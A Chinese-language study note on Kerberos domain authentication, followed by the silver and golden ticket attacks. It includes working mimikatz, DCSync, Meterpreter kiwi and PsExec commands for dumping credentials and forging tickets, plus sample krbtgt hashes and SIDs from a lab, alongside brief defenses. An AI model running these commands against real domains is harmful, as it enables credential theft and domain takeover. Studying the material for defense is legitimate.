域认证角色
- Kerberos认证的3个角色:
- Client
- Server
- KDC(Key Distribution Center)分为两个部分:
- AS(Authentication Server)认证服务器:为Client生成TGT的服务
- TGS(Ticket Granting Server)票据授权服务器:为Client生成某个服务的Ticket
- 验证过程中涉及到的两张票分别是:
- TGT(Ticket Granting Ticket)票据授权票据
- ST(Service Ticket)服务票据
- AD(Account Database):存储所有Client的白名单,只有存在于白名单的Client才能顺利申请到TGT。
域认证流程
粗略流程
当Client想要访问Server
上的某个服务时,需要先向AS
证明自己的身份,然后通过AS
发放的TGT
向Server发起认证请求,这个过程分为三块:
Client -> KDC-AS
:Client
使用 用户信息 向KDC中的AS
发起KRB_AS_REQ
请求,获取某Server
服务的TGT
。KDC
判断用户名是否在AD的白名单中,检查通过后返回KRB_AS_REP
给ClientClient -> KDC-TGS
:Client使用TGT
向KDC
发起获取某Server服务的请求,TGS
通过**TGT**
判断Client是否有权限,有权限则返回服务票据Service Ticket
和随机字符Session Key
;- TGT:黄金票据
Client -> Server
:Client解密Session Key
得到Server Session Key
,使用Server Session Key
和Service Ticket
向某Server发起请求,验证通过后Server为其提供服务。KRB_AS_REQ:Client发送包含 用户信息 的明文到KDC的
AS
,AS
通过用户名判断是否存在于AD
的白名单中,并根据用户名提取到对应的NTLM Hash
;- 用户信息包括Name/ID、服务ID、网络地址、合法TGT的请求生命周期等
1-2、AS -> Client
- KRB_AS_REP:KDC生成一个随机字符串
Session Key
,使用NTLM Hash
加密Session Key
,作为AS;并使用krbtgt
的NTLM Hash
加密Session Key
和客户端的信息,生成TGT
;最后将AS和TGT一起返回给Client
。 Client <= AS + TGT
AS = Client-NTLM Hash(Session Key)
TGT = Krbtgt-NTLM Hash(Sessin Key, Client-Info)
krbtgt
:每个域控制器都有一个krbtgt
的用户账户,是KDC的服务账户
2-1、Client -> TGS
- KRB_TGS_REQ:
Client
接收到后,先使用自己的NTLM Hash
解密AS,得到Session Key
;然后使用Session Key
加密客户端信息和时间戳;最后将这些信息以及TGT一起发送给KDC,请求获取访问Server
的权限。TGT + Session Key(Client-Info, Timestamp) => KDC
2-2、TGS -> Client
- KRB_TGS_REP:KDC解密TGT,提取出
Session Key
,再用Session Key
解密得到其它信息并确认Client
是否可信;然后生成一个新的随机字符串Server Session Key
,并用**Server Hash**
加密生成一个票据**Ticket**
,然后使用Session Key
加密Server Session Key
;最后一同返回给Client
Client <= Ticket + Session Key(Server Session Key)
Ticket = Server Hash(Server Session Key, Client-Info, End-Time)
Session Key(Server Session Key)
Server Hash
:这个Hash是服务器计算机的NTLM Hash
3、Client -> Server
- KRB_AP_REQ:
Client
通过Session Key
解密得到Server Session Key
,并用其加密客户端信息和时间戳,与Service Ticket
一同发送给Server
白银票据
Kerberos认证第3步中的Ticket
- 特点:只需要目标服务的
**NTLM Hash**
,即Server Hash
,就可以伪造一个不经过KDC认证的Ticket
Ticket = Server Hash(Server Session Key, Client-Info, End-Time)
Server Session Hash
在未发送Ticket
之前,服务器是不知道Server Session Key
是什么的。 所以一切凭据都来源于Server Hash
- 伪造:白银票据需要目标服务器的Hash,因此不能生成对应域内所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造
# 导出Server Hash
$ mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt
# 伪造票据
$ mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
$ kerberos::list # 列出票据
$ kerberos::purge # 清除票据
服务注释 | 服务名 |
---|---|
WMI | HOST、RPCSS |
Powershell Remoteing | HOST、HTTP |
WinRM | HOST、HTTP |
Scheduled Tasks | LDAP |
Windows File Share(CIFS) | CIFS |
Windows Remote Server Administration Tools | RPCSS、LDAP、CIFS |
- 防御:
- 尽量保证服务器凭证不被窃取
- 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能。PAC主要是规定服务器将票据发送给Kerberos服务,由Kerberos服务来验证票据是否有效
- 开启方式:将注册表中
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature
设为1
- 开启方式:将注册表中
黄金票据
Kerberos认证第2步中的
TGT
简介
黄金票据可以在拥有普通域用户权限和KRBTGT账号Hash的情况下用来获取域管理员权限,已经获得域控system权限的情况下,还可以使用黄金票据做权限维持。当域控权限掉后,通过域内其他任意机器伪造票据重新获取最高权限。
条件:
在DC上
Dump Hash
,获得krbtgt
用户的NTLM Hash
# krbtgt NTLM Hash
82dfc71b72a11ef37d663047bc2088fb
- 获取
SID
beacon> logonpasswords
# S-1-5-21-2756371121-2868759905-3853650604-500
- 利用:右键WEB机 > Access > Golden Ticket
MSF
# MSF Kiwi
meterpreter> load kiwi
meterpreter> kerberos_ticket_list
# 伪造
meterpreter> golden_ticker_create -d <域名> -k <krbtgt_NTLM_Hash> -s <域SID> -u <任意用户名> -t <输出路径>
# 使用
meterpreter> kerberos_ticket_use <Ticket文件路径>
# Mimikatz
$ mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<krbtgt_NTLM_Hash> /user:<任意用户名> /ptt" exit
- 防御:
- 经常更新
krbtgt
密码,使原有的票据失效 - 最根本的办法是不允许域管帐户登录其它服务器
- 经常更新
Mimikatz
- 首先通过远程桌面将
mimikatz.exe
和PsExec.exe
上传到域控主机。 - 通过
PsExec
提权为SYSTEM
,然后执行mimikatz,输入命令
# 获取krbtgt的hash值。
lsadump::dcsync /user:krbtgt
kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi
- 制作完票据之后,先尝试获取域控的c盘的权限发现拒绝访问。
# 清空票据缓存
kerberos::purge
# 列出票据,显示为空
kerberos::list
# 加载生成的票据
kerberos::ptt administrator.kiribi
# 再次访问域控